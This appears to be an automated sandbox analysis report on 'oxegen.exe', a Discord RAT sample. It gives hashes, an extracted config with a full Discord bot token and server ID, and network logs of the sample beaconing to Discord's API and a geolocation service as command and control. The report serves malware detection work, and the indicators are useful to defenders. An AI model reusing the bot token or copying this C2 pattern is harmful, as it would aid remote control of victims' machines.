Analysis

  • max time kernel
    12s
  • max time network
    16s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 21:57 UTC

General

  • Target

    Oxegen Exec/oxegen.exe

  • Size

    78KB

  • MD5

    778530293626aa22c24995339aebdb0c

  • SHA1

    6316c9b311be02521566b0f612be5b39c02071bd

  • SHA256

    70be34e9af44e63074c443f14c312228e887269fcf3feb757ed674cc5390b262

  • SHA512

    1fa355c5defdc008858d14f5b0304aea046de062e2c703dc47ebecc84d7f15da5a29d6c474390c9dc110c8d22b96ac30ba4ae836460023f1fd22a694794fe2c7

  • SSDEEP

    1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+xPIC:5Zv5PDwbjNrmAE+hIC

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI1NjYxMDkyODE0MTY2NDM0Ng.GoCAda.9jAnxnZbVToLnUTaW-wRrWIl-V07WOjBZlKZ6U

  • server_id

    809482718164680734

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Oxegen Exec\oxegen.exe
    "C:\Users\Admin\AppData\Local\Temp\Oxegen Exec\oxegen.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3236

Network

  • flag-us
    DNS
    gateway.discord.gg
    oxegen.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.130.234
    gateway.discord.gg
    IN A
    162.159.133.234
    gateway.discord.gg
    IN A
    162.159.134.234
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.135.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    oxegen.exe
    Remote address:
    162.159.130.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: 4YA5NIyGC5Yq8XfHSCquoA==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Tue, 09 Jul 2024 21:57:59 GMT
    Connection: upgrade
    sec-websocket-accept: YcMRLmP0JmBjFN6N7ZkL9LMadSU=
    upgrade: websocket
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ErTvFMSzUPIgal7tkM9PBElW6H1a%2Bg%2BfFwpJ31wxuA0JLXrDAJGSlbd%2BUv6j1ff%2BC7KcB1Knl8QL7cvIk6bIVp61GAksw1iHNcf8aGmXA5KCYeKYdF0igTe3X3TrxbK66OaRNQ%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 8a0b92a67fad63f4-LHR
  • flag-us
    DNS
    234.130.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.130.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    discord.com
    oxegen.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.137.232
    discord.com
    IN A
    162.159.138.232
    discord.com
    IN A
    162.159.136.232
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.128.233
  • flag-us
    POST
    https://discord.com/api/v9/guilds/809482718164680734/channels
    oxegen.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/guilds/809482718164680734/channels HTTP/1.1
    authorization: Bot MTI1NjYxMDkyODE0MTY2NDM0Ng.GoCAda.9jAnxnZbVToLnUTaW-wRrWIl-V07WOjBZlKZ6U
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 29
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Tue, 09 Jul 2024 21:58:00 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=4ef211363e3e11efa2243ea95872c149; Expires=Sun, 08-Jul-2029 21:58:00 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1996
    x-ratelimit-reset: 1720647871.004
    x-ratelimit-reset-after: 85590.571
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I4una18utDOMMHyNzZceAFJZjSdyx3CjfcSYZ7eioXjUymzw%2FlKcOk6Y7cnImY7YY6yu7C0WQW3xDdeuSbztmmDjlBL7TaiKFP8Qzpw7Pb3ZuvTAmr0E8JKor2Et"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=4ef211363e3e11efa2243ea95872c1498a8f2b482d058ae60bd06ecbf04509323b6a7d49ab5338767748f9afb4061ac3; Expires=Sun, 08-Jul-2029 21:58:00 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=9c322a5a3accd3138d9d050d3f524b4ad01cb846-1720562280; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=C4SRWttMQ_bFpH8WxUqNCqWMXPD.kaOcnneT8JulPyo-1720562280561-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8a0b92abcb627306-LHR
  • flag-us
    DNS
    geolocation-db.com
    oxegen.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-de
    GET
    https://geolocation-db.com/json
    oxegen.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Tue, 09 Jul 2024 21:58:00 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    oxegen.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Tue, 09 Jul 2024 21:58:00 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    DNS
    232.137.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.137.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    73.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    73.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://discord.com/api/v9/channels/1260354295740764173/messages
    oxegen.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/channels/1260354295740764173/messages HTTP/1.1
    authorization: Bot MTI1NjYxMDkyODE0MTY2NDM0Ng.GoCAda.9jAnxnZbVToLnUTaW-wRrWIl-V07WOjBZlKZ6U
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 115
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Tue, 09 Jul 2024 21:58:01 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=4f6dcdb23e3e11efac6932bc6b2de780; Expires=Sun, 08-Jul-2029 21:58:01 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1720562282.229
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    alt-svc: h3=":443"; ma=86400
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NrM8YHKp2Rk8w9%2F2nxEOPwswmXT6XXhPDVCDrf4ahGgC6PNvbO3nQGJEmYiwTX732F3iiG4j2rfICCovxC7MeXfwbxbkFUTIU19lf4MtcKrVKkmc%2BVbrlimcVmaQ"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=4f6dcdb23e3e11efac6932bc6b2de7807c241ccac12113ac26ecf736cb22a3e00b56003ffd087dc432a319ac7b7d8c43; Expires=Sun, 08-Jul-2029 21:58:01 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=31e5a8cbf1562052585c6ab8db23589d22255e87-1720562281; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=Lmhp9ddatGCzc8BGkTseZ6SQUELFzwKot3lma37KMQQ-1720562281370-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8a0b92b0c9f73862-LHR
  • flag-us
    DNS
    253.102.89.159.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    253.102.89.159.in-addr.arpa
    IN PTR
    Response
  • 162.159.130.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    oxegen.exe
    1.9kB
    41.3kB
    27
    44

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.137.232:443
    https://discord.com/api/v9/guilds/809482718164680734/channels
    tls, http
    oxegen.exe
    1.1kB
    5.3kB
    11
    12

    HTTP Request

    POST https://discord.com/api/v9/guilds/809482718164680734/channels

    HTTP Response

    201
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    oxegen.exe
    848 B
    4.5kB
    9
    10

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.137.232:443
    https://discord.com/api/v9/channels/1260354295740764173/messages
    tls, http
    oxegen.exe
    1.3kB
    2.9kB
    9
    10

    HTTP Request

    POST https://discord.com/api/v9/channels/1260354295740764173/messages

    HTTP Response

    200
  • 8.8.8.8:53
    gateway.discord.gg
    dns
    oxegen.exe
    64 B
    144 B
    1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.130.234
    162.159.133.234
    162.159.134.234
    162.159.136.234
    162.159.135.234

  • 8.8.8.8:53
    234.130.159.162.in-addr.arpa
    dns
    74 B
    136 B
    1
    1

    DNS Request

    234.130.159.162.in-addr.arpa

  • 8.8.8.8:53
    discord.com
    dns
    oxegen.exe
    57 B
    137 B
    1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.137.232
    162.159.138.232
    162.159.136.232
    162.159.135.232
    162.159.128.233

  • 8.8.8.8:53
    geolocation-db.com
    dns
    oxegen.exe
    64 B
    80 B
    1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    232.137.159.162.in-addr.arpa
    dns
    74 B
    136 B
    1
    1

    DNS Request

    232.137.159.162.in-addr.arpa

  • 8.8.8.8:53
    73.159.190.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    73.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    253.102.89.159.in-addr.arpa
    dns
    73 B
    140 B
    1
    1

    DNS Request

    253.102.89.159.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3236-0-0x000001DF05D10000-0x000001DF05D28000-memory.dmp

    Filesize

    96KB

  • memory/3236-1-0x00007FFC1D393000-0x00007FFC1D395000-memory.dmp

    Filesize

    8KB

  • memory/3236-2-0x000001DF20300000-0x000001DF204C2000-memory.dmp

    Filesize

    1.8MB

  • memory/3236-3-0x00007FFC1D390000-0x00007FFC1DE51000-memory.dmp

    Filesize

    10.8MB

  • memory/3236-4-0x000001DF20B00000-0x000001DF21028000-memory.dmp

    Filesize

    5.2MB

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